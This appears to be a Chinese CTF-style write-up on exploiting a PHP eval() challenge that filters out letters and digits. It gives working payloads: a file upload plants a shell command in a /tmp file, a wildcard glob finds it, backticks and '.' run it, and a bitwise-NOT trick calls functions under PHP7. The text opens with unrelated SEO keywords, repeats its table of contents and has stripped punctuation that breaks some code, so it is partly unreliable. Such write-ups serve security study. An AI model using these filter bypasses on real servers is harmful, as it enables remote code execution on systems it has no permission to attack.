怎样在百度搜到自己的网站,网页布局方式,找人做网站注意什么,wordpress官方主题哪个好目录
对于php5以上首先要解决的问题有
解决技巧
1.code长度小于35位
2.没有字母、数字、_ 、$
3.怎么把文件放进服务器
4.怎么执行文件里面的内容 1.执行Linux命令 2.执行文件里面的shell命令
5.构造完整的code参数
6.我们还可以通过修改文件里面shell命令#xff0c;…目录
对于php5以上首先要解决的问题有
解决技巧
1.code长度小于35位
2.没有字母、数字、_ 、$
3.怎么把文件放进服务器
4.怎么执行文件里面的内容 1.执行Linux命令 2.执行文件里面的shell命令
5.构造完整的code参数
6.我们还可以通过修改文件里面shell命令执行不同的命令
对于php7可以用取反绕过的技巧 ~ 是取反的意思 ?php
if(isset($_GET[code])){$code $_GET[code];if(strlen($code)35){die(Long.);}if(preg_match(/[A-Za-z0-9_$]/,$code)){die(NO.);}eval($code);
}else{highlight_file(__FILE__);
}
这个代码怎么利用
对于php5以上首先要解决的问题有
1.code长度小于35位
2.没有字母、数字、_ 、$
3.怎么把文件放进服务器
4.怎么执行文件里面的内容 解决技巧
1.code长度小于35位
这个问题和整体思路有关要和后面的一起考虑
2.没有字母、数字、_ 、$
可以不用字母数字Linux系统文件名支持通配符方式查找
比如
* 代表任意长度的字符
代表任意一个长度的字符
[ ] 匹配括号里面的任意一个
这道题我们要找文件不能用字母数字等因为我们要找的文件有个特点是在tmp下9位最后一位有几率是大写字母所以我们可以用通配符和ascii码结合一下写出payload
/???/????????[-[]
因为最后一位是大写所以可以用-[ 因为到[ 的ASCII码正好刚刚好包含了大写字母
3.怎么把文件放进服务器
写一个文件上传的html页面作用是用burp工具拿取文件上传的请求标准格式和里面特有的标记
!DOCTYPE html
html langzh
head meta charsetUTF-8 title文件上传示例/title
/head
bodyform actionupload.php methodpost enctypemultipart/form-datalabel forfile选择文件:/labelinput typefile namefile idfile requiredinput typesubmit value上传/form
/body
/html 在上传的文件1.txt里面写上#!bin/bash id
复制如图的请求标识备用 4.怎么执行文件里面的内容
在发送上一步文件上传请求后Linux会在tmp下生成一个临时文件我们要运行并执行文件里面的内容 1.执行Linux命令 在Linux里面反引号可以执行命令所以我们用 /???/????????[-[] 来执行查找临时文件的命令 2.执行文件里面的shell命令 在文件路径的前面加上 . 可以执行文件里面的命令 所以payload是 . /???/????????[-[]
5.构造完整的code参数 code??. /???/????????[-[];?
?是php的开头为什么前面还要加一个?呢
因为这个是php官方要求的目的是为了防止前面的代码进行干扰就用?进行闭合
然后再写我们的php代码。 如图所示post请求是可以把get请求参数和post请求一起进行传递的
整个过程是post请求把带有shell命令的临时文件生成然后get请求传递code值放入eval()里面
然后执行查找临时文件的命令找到了临时文件然后用 . 来执行文件里面的显示当前用户id的命令最后用户id信息就会显示在响应包里面 6.我们还可以通过修改文件里面shell命令执行不同的命令 对于php7还可以用取反绕过的技巧 ~ 是取反的意思
PHP7允许用($a)();这样的方法来执行动态函数所以我们可以想到直接phpinfo
但是由于过滤了字母不能直接写phpinfo可以进行取反 把phpinfo用php代码进行取反得到
%8F%97%8F%96%91%99%90
取反绕过了以后再取反一次就回到了我们的phpinfo
所以可以构造payload为
code(~%8F%97%8F%96%91%99%90)();